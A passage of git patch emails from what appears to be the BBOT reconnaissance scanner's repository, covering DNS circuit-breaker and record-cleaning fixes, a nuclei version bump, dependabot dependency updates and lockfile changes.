"2026-04-15T20:31:19.091Z" }, { url = "https://files.pythonhosted.org/packages/64/a1/3dea21c2a56f85e9ca11b97cef0282b40737c9c1f35769ace9c4501aa790/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_i686.whl", hash = "sha256:356fde1c078710dd93d627282c18945390d74cca7cad7c334a50624ebb7c9f9d", size = 2560325, upload-time = "2026-04-15T20:31:58.318Z" }, @@ -421,6 +441,8 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/fc/10/a981c619876586b6b4a9763e80eea405ff7f3917ab3b5d35bc9db2565123/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fbab1fe79723547ee03c861368769e38605e87cfb8be2858f60ad497aaca2520", size = 2444480, upload-time = "2026-04-15T20:32:09.231Z" }, { url = "https://files.pythonhosted.org/packages/45/0d/7451f1a7bea17f39b25fe3ddbc74271c31c0b8b81b84cf5fb5b8f01ba1ed/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:378e95b2723eabf23ffb04ed0bd326aa5661d4ae3396a8326ad2ffcc324d4bff", size = 2629253, upload-time = "2026-04-15T20:32:35.696Z" }, { url = "https://files.pythonhosted.org/packages/b7/a1/ef1c8049ada69185f6276e42c33e50d18cea464037195bbf9260a3da8d64/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:e4facab544265314dbf212ee015138ec823529e006b306e030ad5a4c2d4a6ec3", size = 2598351, upload-time = "2026-04-15T20:32:48.896Z" }, + { url = "https://files.pythonhosted.org/packages/d9/b4/dbc258187d079a86487f9b26761430f8f4ff531814d710caab66b388f402/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:62269fee131b31f401dabe16f427dedf4ac6c0c5d7a302a52a7d685456772385", size = 2679763, upload-time = "2026-04-15T20:33:02.936Z" }, + { url = "https://files.pythonhosted.org/packages/1e/01/480f3c5e54abf85b6accdc25635a10428720f9f2fa6b95c89d59e35f2912/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:64581573a438d95f51e297aa6790a85f49ed00fcb2afdf5a459b911dce970619", size = 2694305, upload-time = "2026-04-15T20:33:17.253Z" }, ] [[package]] From 20f5b92ba70562c455597c71471ea8fdf25c985d Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Thu, 16 Apr 2026 16:44:50 -0400 Subject: [PATCH 529/912] bug fixing --- bbot/core/helpers/dns/dns.py | 44 +++++++++++++++++++++++++++-- bbot/core/helpers/dns/helpers.py | 6 +++- bbot/core/helpers/misc.py | 6 +++- bbot/defaults.yml | 2 +- bbot/modules/internal/dnsresolve.py | 2 +- bbot/scanner/target.py | 3 ++ 6 files changed, 57 insertions(+), 6 deletions(-) diff --git a/bbot/core/helpers/dns/dns.py b/bbot/core/helpers/dns/dns.py index c66741fd22..039e855162 100644 --- a/bbot/core/helpers/dns/dns.py +++ b/bbot/core/helpers/dns/dns.py @@ -132,13 +132,26 @@ async def resolve_full(self, query, rdtype="A"): async def resolve_multi_full(self, query, rdtypes): """Resolve many rdtypes for one host concurrently in Rust. - Skips rdtypes listed in ``dns_omit_queries`` for the matching host suffix. + Skips rdtypes listed in ``dns_omit_queries`` and rdtypes whose parent + zone has exceeded ``abort_threshold`` consecutive errors. Returns ``dict[rdtype, DNSResult | DNSError]``. """ rdtypes = [r for r in rdtypes if not self._is_omitted(query, r)] + filtered = [] + for r in rdtypes: + if not await self._is_aborted(query, r): + filtered.append(r) + rdtypes = filtered if not rdtypes: return {} - return await self.blastdns.resolve_multi_full(query, rdtypes) + results = await self.blastdns.resolve_multi_full(query, rdtypes) + # Track per-zone errors so we can circuit-break dead zones + for rdtype, response in results.items(): + if isinstance(response, DNSError): + self.record_dns_error(query, rdtype) + elif isinstance(response, DNSResult) and response.response.answers: + self.reset_dns_errors(query, rdtype) + return results async def resolve_batch_full(self, hosts, rdtype="A", skip_empty=False, skip_errors=False): """Resolve many hosts for one rdtype concurrently in Rust. @@ -342,6 +355,33 @@ def _wildcard_prevalidation(self, host): # Error tracking + connectivity # ------------------------------------------------------------------ + async def _is_aborted(self, query, rdtype): + """Check if queries for this parent zone + rdtype have been circuit-broken. + + Only triggers on sustained timeouts (DNSError), not instant failures + like NXDOMAIN or SERVFAIL. When the threshold is hit, verifies + network connectivity first — if the network is down, clears error + counters instead of aborting (the zone might be fine). + """ + parent = parent_domain(str(query)) + parent_hash = hash((parent, rdtype)) + error_count = self._errors.get(parent_hash, 0) + if error_count >= self.abort_threshold: + # before aborting, make sure our network is actually up + connectivity = await self._connectivity_check() + if not connectivity: + # network is down — don't blame the zone + self._errors.clear() + return False + if parent_hash not in self._dns_warnings: + self.log.info( + f'Aborting {rdtype} queries to "{parent}" — ' + f"{error_count} consecutive errors exceeded threshold ({self.abort_threshold})" + ) + self._dns_warnings[parent_hash] = True + return True + return False + def record_dns_error(self, query, rdtype): """Bump the error counter for ``query``'s parent zone. Returns the new count.""" parent_hash = hash((parent_domain(str(query)), rdtype)) diff --git a/bbot/core/helpers/dns/helpers.py b/bbot/core/helpers/dns/helpers.py index 42bf770635..78303cdb2c 100644 --- a/bbot/core/helpers/dns/helpers.py +++ b/bbot/core/helpers/dns/helpers.py @@ -20,7 +20,11 @@ def extract_targets(record): since SPF / DKIM / similar TXT payloads commonly embed hostnames worth pivoting on. That regex extraction is BBOT-specific and stays here. """ - results = set(tuple(t) for t in record.extract_targets()) + results = set() + for rdtype, host in record.extract_targets(): + cleaned = clean_dns_record(host) + if cleaned: + results.add((rdtype, cleaned)) # TXT: pull additional hostnames out of the free-form text content is_txt = "TXT" in record.rdata diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 3467b4de30..8e5bb23a16 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2742,8 +2742,12 @@ def clean_dns_record(record): Examples: >>> clean_dns_record('www.evilcorp.com.') 'www.evilcorp.com' + + >>> clean_dns_record('*.evilcorp.com.') + 'evilcorp.com' """ - return str(record).rstrip(".").lower() + record = str(record).strip("*.").lower() + return record def truncate_filename(file_path, max_length=255): diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 2a2200526f..09b5adf89f 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -69,7 +69,7 @@ dns: wildcard_tests: 10 # Skip DNS requests for a certain domain and rdtype after encountering this many timeouts or SERVFAILs # This helps prevent faulty DNS servers from hanging up the scan - abort_threshold: 50 + abort_threshold: 20 # Treat hostnames discovered via PTR records as affiliates instead of in-scope # This prevents rDNS results (e.g. 1-2-3-4.ptr.example.com) from triggering # subdomain enumeration against unrelated domains when scanning IP ranges diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index 948a53e5d0..2e90c5f9f8 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -203,7 +203,7 @@ async def emit_dns_children(self, event): context=f"{rdtype} record for {event.host} contains {{event.type}}: {{event.host}}", ) except ValidationError as e: - self.warning(f'Event validation failed for DNS child of {event}: "{child_host}" ({rdtype}): {e}') + self.trace(f'Event validation failed for DNS child of {event}: "{child_host}" ({rdtype}): {e}') continue # tag PTR-derived children so downstream logic can identify them diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 452bbe973d..90f6f3f1eb 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -141,11 +141,14 @@ def _make_event_seed(self, target, raise_error=False): try: return EventSeed(target) except ValidationError: + import traceback + msg = f"Invalid target: '{target}'" if raise_error: raise KeyError(msg) else: log.warning(msg) + log.trace("".join(traceback.format_stack())) def __contains__(self, other): if isinstance(other, BaseTarget): From 2b69e3705fe61a37b272bc676173c28cef33488a Mon Sep 17 00:00:00 2001 From: blsaccess Date: Sun, 19 Apr 2026 00:46:03 +0000 Subject: [PATCH 530/912] Update nuclei --- bbot/modules/nuclei.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index 6602d03e51..1965a1c669 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -15,7 +15,7 @@ class nuclei(BaseModule): } options = { - "version": "3.7.1", + "version": "3.8.0", "tags": "", "templates": "", "severity": "", From 441a31cc3c90aba97ae23ed293d1fde858342b71 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 19 Apr 2026 04:42:57 +0000 Subject: [PATCH 531/912] Update fastapi requirement from <0.129.0,>=0.115.5 to >=0.115.5,<0.137.0 Updates the requirements on [fastapi](https://github.com/fastapi/fastapi) to permit the latest version. - [Release notes](https://github.com/fastapi/fastapi/releases) - [Commits](https://github.com/fastapi/fastapi/compare/0.115.5...0.136.0) --- updated-dependencies: - dependency-name: fastapi dependency-version: 0.136.0 dependency-type: direct:development ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 062e8975f8..6e05b7aa3b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -74,7 +74,7 @@ dev = [ "pytest>=8.3.1,<9", "pytest-asyncio==1.2.0", "uvicorn>=0.32,<0.40", - "fastapi>=0.115.5,<0.129.0", + "fastapi>=0.115.5,<0.137.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "ruff==0.15.10", From ef52e2ba1cbdc0178a39fc734ee06c9f565a80ed Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 19 Apr 2026 04:43:06 +0000 Subject: [PATCH 532/912] Update mkdocstrings requirement from <0.31,>=0.22 to >=0.22,<1.1 Updates the requirements on [mkdocstrings](https://github.com/mkdocstrings/mkdocstrings) to permit the latest version. - [Release notes](https://github.com/mkdocstrings/mkdocstrings/releases) - [Changelog](https://github.com/mkdocstrings/mkdocstrings/blob/main/CHANGELOG.md) - [Commits](https://github.com/mkdocstrings/mkdocstrings/compare/0.22.0...1.0.4) --- updated-dependencies: - dependency-name: mkdocstrings dependency-version: 1.0.4 dependency-type: direct:development ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 062e8975f8..cb8237c93b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -85,7 +85,7 @@ docs = [ "mkdocs-extra-sass-plugin>=0.1.0,<1", "mkdocs-material>=9.2.5,<10", "mkdocs-material-extensions>=1.1.1,<2", - "mkdocstrings>=0.22,<0.31", + "mkdocstrings>=0.22,<1.1", "mkdocstrings-python>=2.0.0,<3", "griffe>=1,<2", "livereload>=2.6.3,<3", From 9d0faaa4639d045143beb2ef458abed34fff2de6 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 19 Apr 2026 04:43:13 +0000 Subject: [PATCH 533/912] Update pytest-env requirement from <1.2.0,>=0.8.2 to >=0.8.2,<1.7.0 Updates the requirements on [pytest-env](https://github.com/pytest-dev/pytest-env) to permit the latest version. - [Release notes](https://github.com/pytest-dev/pytest-env/releases) - [Commits](https://github.com/pytest-dev/pytest-env/compare/0.8.2...1.6.0) --- updated-dependencies: - dependency-name: pytest-env dependency-version: 1.6.0 dependency-type: direct:development ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 062e8975f8..4113839cc8 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -65,7 +65,7 @@ bbot = "bbot.cli:main" dev = [ "urllib3>=2.0.2,<3", "werkzeug>=2.3.4,<4.0.0", - "pytest-env>=0.8.2,<1.2.0", + "pytest-env>=0.8.2,<1.7.0", "pre-commit>=3.4,<5.0", "pytest-cov>=5,<8", "pytest-rerunfailures>=14,<17", From 01a0d41bbed4d44801b905de45dd37c3997c2118 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 19 Apr 2026 04:43:17 +0000 Subject: [PATCH 534/912] Update dnspython requirement from <2.8.0,>=2.7.0 to >=2.7.0,<2.9.0 Updates the requirements on [dnspython](https://github.com/rthalley/dnspython) to permit the latest version. - [Release notes](https://github.com/rthalley/dnspython/releases) - [Changelog](https://github.com/rthalley/dnspython/blob/main/doc/whatsnew.rst) - [Commits](https://github.com/rthalley/dnspython/compare/v2.7.0...v2.8.0) --- updated-dependencies: - dependency-name: dnspython dependency-version: 2.8.0 dependency-type: direct:production ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 062e8975f8..bd260ec2ce 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -29,7 +29,7 @@ dependencies = [ "pyjwt>=2.7.0,<3", "beautifulsoup4>=4.12.2,<5", "lxml>=4.9.2,<7.0.0", - "dnspython>=2.7.0,<2.8.0", + "dnspython>=2.7.0,<2.9.0", "cachetools>=5.3.2,<7.0.0", "socksio>=1.0.0,<2", "jinja2>=3.1.3,<4", From 03b28f0eb2698660150ea5f3c5e172dec00e4160 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 20 Apr 2026 14:27:42 +0000 Subject: [PATCH 535/912] Bump pytest-asyncio from 1.2.0 to 1.3.0 Bumps [pytest-asyncio](https://github.com/pytest-dev/pytest-asyncio) from 1.2.0 to 1.3.0. - [Release notes](https://github.com/pytest-dev/pytest-asyncio/releases) - [Commits](https://github.com/pytest-dev/pytest-asyncio/compare/v1.2.0...v1.3.0) --- updated-dependencies: - dependency-name: pytest-asyncio dependency-version: 1.3.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 203bc85bc2..2c6f1b56d2 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -72,7 +72,7 @@ dev = [ "pytest-timeout>=2.3.1,<3", "pytest-httpserver>=1.0.11,<2", "pytest>=8.3.1,<9", - "pytest-asyncio==1.2.0", + "pytest-asyncio==1.3.0", "uvicorn>=0.32,<0.40", "fastapi>=0.115.5,<0.137.0", "pytest-httpx>=0.35", From f821f2b1f7b1b642f74b0b9ba2f4a82501bdc693 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 20 Apr 2026 14:28:26 +0000 Subject: [PATCH 536/912] Update cachetools requirement from <7.0.0,>=5.3.2 to >=5.3.2,<8.0.0 Updates the requirements on [cachetools](https://github.com/tkem/cachetools) to permit the latest version. - [Changelog](https://github.com/tkem/cachetools/blob/master/CHANGELOG.rst) - [Commits](https://github.com/tkem/cachetools/compare/v5.3.2...v7.0.5) --- updated-dependencies: - dependency-name: cachetools dependency-version: 7.0.5 dependency-type: direct:production ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 203bc85bc2..5b52c3444c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -30,7 +30,7 @@ dependencies = [ "beautifulsoup4>=4.12.2,<5", "lxml>=4.9.2,<7.0.0", "dnspython>=2.7.0,<2.9.0", - "cachetools>=5.3.2,<7.0.0", + "cachetools>=5.3.2,<8.0.0", "socksio>=1.0.0,<2", "jinja2>=3.1.3,<4", "regex>=2024.4.16,<2027.0.0", From 93c55b54da638696972f15d95cdac33208cb0922 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 20 Apr 2026 12:03:04 -0400 Subject: [PATCH 537/912] ruffed --- bbot/core/helpers/dns/dns.py | 4 +++- bbot/defaults.yml | 2 +- uv.lock | 44 ++++++++++++++++++------------------ 3 files changed, 26 insertions(+), 24 deletions(-) diff --git a/bbot/core/helpers/dns/dns.py b/bbot/core/helpers/dns/dns.py index 039e855162..6f6675a89f 100644 --- a/bbot/core/helpers/dns/dns.py +++ b/bbot/core/helpers/dns/dns.py @@ -456,7 +456,9 @@ def _empty_result(host=""): name_server_count=0, additional_count=0, ) - return DNSResult(host=host, response=Response(header=header, queries=[], answers=[], name_servers=[], additionals=[])) + return DNSResult( + host=host, response=Response(header=header, queries=[], answers=[], name_servers=[], additionals=[]) + ) async def shutdown(self): """No-op kept for API compatibility -- blastdns runs in-process, nothing to tear down.""" diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 09b5adf89f..b8bfa3bfac 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -69,7 +69,7 @@ dns: wildcard_tests: 10 # Skip DNS requests for a certain domain and rdtype after encountering this many timeouts or SERVFAILs # This helps prevent faulty DNS servers from hanging up the scan - abort_threshold: 20 + abort_threshold: 10 # Treat hostnames discovered via PTR records as affiliates instead of in-scope # This prevents rDNS results (e.g. 1-2-3-4.ptr.example.com) from triggering # subdomain enumeration against unrelated domains when scanning IP ranges diff --git a/uv.lock b/uv.lock index 0de67585ce..3fa58f6c88 100644 --- a/uv.lock +++ b/uv.lock @@ -312,7 +312,7 @@ dev = [ { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, - { name = "ruff", specifier = "==0.15.2" }, + { name = "ruff", specifier = "==0.15.10" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, { name = "uvicorn", specifier = ">=0.32,<0.40" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, @@ -2723,27 +2723,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.2" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/06/04/eab13a954e763b0606f460443fcbf6bb5a0faf06890ea3754ff16523dce5/ruff-0.15.2.tar.gz", hash = "sha256:14b965afee0969e68bb871eba625343b8673375f457af4abe98553e8bbb98342", size = 4558148, upload-time = "2026-02-19T22:32:20.271Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/2f/70/3a4dc6d09b13cb3e695f28307e5d889b2e1a66b7af9c5e257e796695b0e6/ruff-0.15.2-py3-none-linux_armv6l.whl", hash = "sha256:120691a6fdae2f16d65435648160f5b81a9625288f75544dc40637436b5d3c0d", size = 10430565, upload-time = "2026-02-19T22:32:41.824Z" }, - { url = "https://files.pythonhosted.org/packages/71/0b/bb8457b56185ece1305c666dc895832946d24055be90692381c31d57466d/ruff-0.15.2-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:a89056d831256099658b6bba4037ac6dd06f49d194199215befe2bb10457ea5e", size = 10820354, upload-time = "2026-02-19T22:32:07.366Z" }, - { url = "https://files.pythonhosted.org/packages/2d/c1/e0532d7f9c9e0b14c46f61b14afd563298b8b83f337b6789ddd987e46121/ruff-0.15.2-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e36dee3a64be0ebd23c86ffa3aa3fd3ac9a712ff295e192243f814a830b6bd87", size = 10170767, upload-time = "2026-02-19T22:32:13.188Z" }, - { url = "https://files.pythonhosted.org/packages/47/e8/da1aa341d3af017a21c7a62fb5ec31d4e7ad0a93ab80e3a508316efbcb23/ruff-0.15.2-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a9fb47b6d9764677f8c0a193c0943ce9a05d6763523f132325af8a858eadc2b9", size = 10529591, upload-time = "2026-02-19T22:32:02.547Z" }, - { url = "https://files.pythonhosted.org/packages/93/74/184fbf38e9f3510231fbc5e437e808f0b48c42d1df9434b208821efcd8d6/ruff-0.15.2-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f376990f9d0d6442ea9014b19621d8f2aaf2b8e39fdbfc79220b7f0c596c9b80", size = 10260771, upload-time = "2026-02-19T22:32:36.938Z" }, - { url = "https://files.pythonhosted.org/packages/05/ac/605c20b8e059a0bc4b42360414baa4892ff278cec1c91fff4be0dceedefd/ruff-0.15.2-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2dcc987551952d73cbf5c88d9fdee815618d497e4df86cd4c4824cc59d5dd75f", size = 11045791, upload-time = "2026-02-19T22:32:31.642Z" }, - { url = "https://files.pythonhosted.org/packages/fd/52/db6e419908f45a894924d410ac77d64bdd98ff86901d833364251bd08e22/ruff-0.15.2-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:42a47fd785cbe8c01b9ff45031af875d101b040ad8f4de7bbb716487c74c9a77", size = 11879271, upload-time = "2026-02-19T22:32:29.305Z" }, - { url = "https://files.pythonhosted.org/packages/3e/d8/7992b18f2008bdc9231d0f10b16df7dda964dbf639e2b8b4c1b4e91b83af/ruff-0.15.2-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cbe9f49354866e575b4c6943856989f966421870e85cd2ac94dccb0a9dcb2fea", size = 11303707, upload-time = "2026-02-19T22:32:22.492Z" }, - { url = "https://files.pythonhosted.org/packages/d7/02/849b46184bcfdd4b64cde61752cc9a146c54759ed036edd11857e9b8443b/ruff-0.15.2-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7a672c82b5f9887576087d97be5ce439f04bbaf548ee987b92d3a7dede41d3a", size = 11149151, upload-time = "2026-02-19T22:32:44.234Z" }, - { url = "https://files.pythonhosted.org/packages/70/04/f5284e388bab60d1d3b99614a5a9aeb03e0f333847e2429bebd2aaa1feec/ruff-0.15.2-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:72ecc64f46f7019e2bcc3cdc05d4a7da958b629a5ab7033195e11a438403d956", size = 11091132, upload-time = "2026-02-19T22:32:24.691Z" }, - { url = "https://files.pythonhosted.org/packages/fa/ae/88d844a21110e14d92cf73d57363fab59b727ebeabe78009b9ccb23500af/ruff-0.15.2-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:8dcf243b15b561c655c1ef2f2b0050e5d50db37fe90115507f6ff37d865dc8b4", size = 10504717, upload-time = "2026-02-19T22:32:26.75Z" }, - { url = "https://files.pythonhosted.org/packages/64/27/867076a6ada7f2b9c8292884ab44d08fd2ba71bd2b5364d4136f3cd537e1/ruff-0.15.2-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:dab6941c862c05739774677c6273166d2510d254dac0695c0e3f5efa1b5585de", size = 10263122, upload-time = "2026-02-19T22:32:10.036Z" }, - { url = "https://files.pythonhosted.org/packages/e7/ef/faf9321d550f8ebf0c6373696e70d1758e20ccdc3951ad7af00c0956be7c/ruff-0.15.2-py3-none-musllinux_1_2_i686.whl", hash = "sha256:1b9164f57fc36058e9a6806eb92af185b0697c9fe4c7c52caa431c6554521e5c", size = 10735295, upload-time = "2026-02-19T22:32:39.227Z" }, - { url = "https://files.pythonhosted.org/packages/2f/55/e8089fec62e050ba84d71b70e7834b97709ca9b7aba10c1a0b196e493f97/ruff-0.15.2-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:80d24fcae24d42659db7e335b9e1531697a7102c19185b8dc4a028b952865fd8", size = 11241641, upload-time = "2026-02-19T22:32:34.617Z" }, - { url = "https://files.pythonhosted.org/packages/23/01/1c30526460f4d23222d0fabd5888868262fd0e2b71a00570ca26483cd993/ruff-0.15.2-py3-none-win32.whl", hash = "sha256:fd5ff9e5f519a7e1bd99cbe8daa324010a74f5e2ebc97c6242c08f26f3714f6f", size = 10507885, upload-time = "2026-02-19T22:32:15.635Z" }, - { url = "https://files.pythonhosted.org/packages/5c/10/3d18e3bbdf8fc50bbb4ac3cc45970aa5a9753c5cb51bf9ed9a3cd8b79fa3/ruff-0.15.2-py3-none-win_amd64.whl", hash = "sha256:d20014e3dfa400f3ff84830dfb5755ece2de45ab62ecea4af6b7262d0fb4f7c5", size = 11623725, upload-time = "2026-02-19T22:32:04.947Z" }, - { url = "https://files.pythonhosted.org/packages/6d/78/097c0798b1dab9f8affe73da9642bb4500e098cb27fd8dc9724816ac747b/ruff-0.15.2-py3-none-win_arm64.whl", hash = "sha256:cabddc5822acdc8f7b5527b36ceac55cc51eec7b1946e60181de8fe83ca8876e", size = 10941649, upload-time = "2026-02-19T22:32:18.108Z" }, +version = "0.15.10" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/d9/aa3f7d59a10ef6b14fe3431706f854dbf03c5976be614a9796d36326810c/ruff-0.15.10.tar.gz", hash = "sha256:d1f86e67ebfdef88e00faefa1552b5e510e1d35f3be7d423dc7e84e63788c94e", size = 4631728, upload-time = "2026-04-09T14:06:09.884Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/eb/00/a1c2fdc9939b2c03691edbda290afcd297f1f389196172826b03d6b6a595/ruff-0.15.10-py3-none-linux_armv6l.whl", hash = "sha256:0744e31482f8f7d0d10a11fcbf897af272fefdfcb10f5af907b18c2813ff4d5f", size = 10563362, upload-time = "2026-04-09T14:06:21.189Z" }, + { url = "https://files.pythonhosted.org/packages/5c/15/006990029aea0bebe9d33c73c3e28c80c391ebdba408d1b08496f00d422d/ruff-0.15.10-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:b1e7c16ea0ff5a53b7c2df52d947e685973049be1cdfe2b59a9c43601897b22e", size = 10951122, upload-time = "2026-04-09T14:06:02.236Z" }, + { url = "https://files.pythonhosted.org/packages/f2/c0/4ac978fe874d0618c7da647862afe697b281c2806f13ce904ad652fa87e4/ruff-0.15.10-py3-none-macosx_11_0_arm64.whl", hash = "sha256:93cc06a19e5155b4441dd72808fdf84290d84ad8a39ca3b0f994363ade4cebb1", size = 10314005, upload-time = "2026-04-09T14:06:00.026Z" }, + { url = "https://files.pythonhosted.org/packages/da/73/c209138a5c98c0d321266372fc4e33ad43d506d7e5dd817dd89b60a8548f/ruff-0.15.10-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:83e1dd04312997c99ea6965df66a14fb4f03ba978564574ffc68b0d61fd3989e", size = 10643450, upload-time = "2026-04-09T14:05:42.137Z" }, + { url = "https://files.pythonhosted.org/packages/ec/76/0deec355d8ec10709653635b1f90856735302cb8e149acfdf6f82a5feb70/ruff-0.15.10-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8154d43684e4333360fedd11aaa40b1b08a4e37d8ffa9d95fee6fa5b37b6fab1", size = 10379597, upload-time = "2026-04-09T14:05:49.984Z" }, + { url = "https://files.pythonhosted.org/packages/dc/be/86bba8fc8798c081e28a4b3bb6d143ccad3fd5f6f024f02002b8f08a9fa3/ruff-0.15.10-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ab88715f3a6deb6bde6c227f3a123410bec7b855c3ae331b4c006189e895cef", size = 11146645, upload-time = "2026-04-09T14:06:12.246Z" }, + { url = "https://files.pythonhosted.org/packages/a8/89/140025e65911b281c57be1d385ba1d932c2366ca88ae6663685aed8d4881/ruff-0.15.10-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a768ff5969b4f44c349d48edf4ab4f91eddb27fd9d77799598e130fb628aa158", size = 12030289, upload-time = "2026-04-09T14:06:04.776Z" }, + { url = "https://files.pythonhosted.org/packages/88/de/ddacca9545a5e01332567db01d44bd8cf725f2db3b3d61a80550b48308ea/ruff-0.15.10-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ee3ef42dab7078bda5ff6a1bcba8539e9857deb447132ad5566a038674540d0", size = 11496266, upload-time = "2026-04-09T14:05:55.485Z" }, + { url = "https://files.pythonhosted.org/packages/bc/bb/7ddb00a83760ff4a83c4e2fc231fd63937cc7317c10c82f583302e0f6586/ruff-0.15.10-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51cb8cc943e891ba99989dd92d61e29b1d231e14811db9be6440ecf25d5c1609", size = 11256418, upload-time = "2026-04-09T14:05:57.69Z" }, + { url = "https://files.pythonhosted.org/packages/dc/8d/55de0d35aacf6cd50b6ee91ee0f291672080021896543776f4170fc5c454/ruff-0.15.10-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:e59c9bdc056a320fb9ea1700a8d591718b8faf78af065484e801258d3a76bc3f", size = 11288416, upload-time = "2026-04-09T14:05:44.695Z" }, + { url = "https://files.pythonhosted.org/packages/68/cf/9438b1a27426ec46a80e0a718093c7f958ef72f43eb3111862949ead3cc1/ruff-0.15.10-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:136c00ca2f47b0018b073f28cb5c1506642a830ea941a60354b0e8bc8076b151", size = 10621053, upload-time = "2026-04-09T14:05:52.782Z" }, + { url = "https://files.pythonhosted.org/packages/4c/50/e29be6e2c135e9cd4cb15fbade49d6a2717e009dff3766dd080fcb82e251/ruff-0.15.10-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:8b80a2f3c9c8a950d6237f2ca12b206bccff626139be9fa005f14feb881a1ae8", size = 10378302, upload-time = "2026-04-09T14:06:14.361Z" }, + { url = "https://files.pythonhosted.org/packages/18/2f/e0b36a6f99c51bb89f3a30239bc7bf97e87a37ae80aa2d6542d6e5150364/ruff-0.15.10-py3-none-musllinux_1_2_i686.whl", hash = "sha256:e3e53c588164dc025b671c9df2462429d60357ea91af7e92e9d56c565a9f1b07", size = 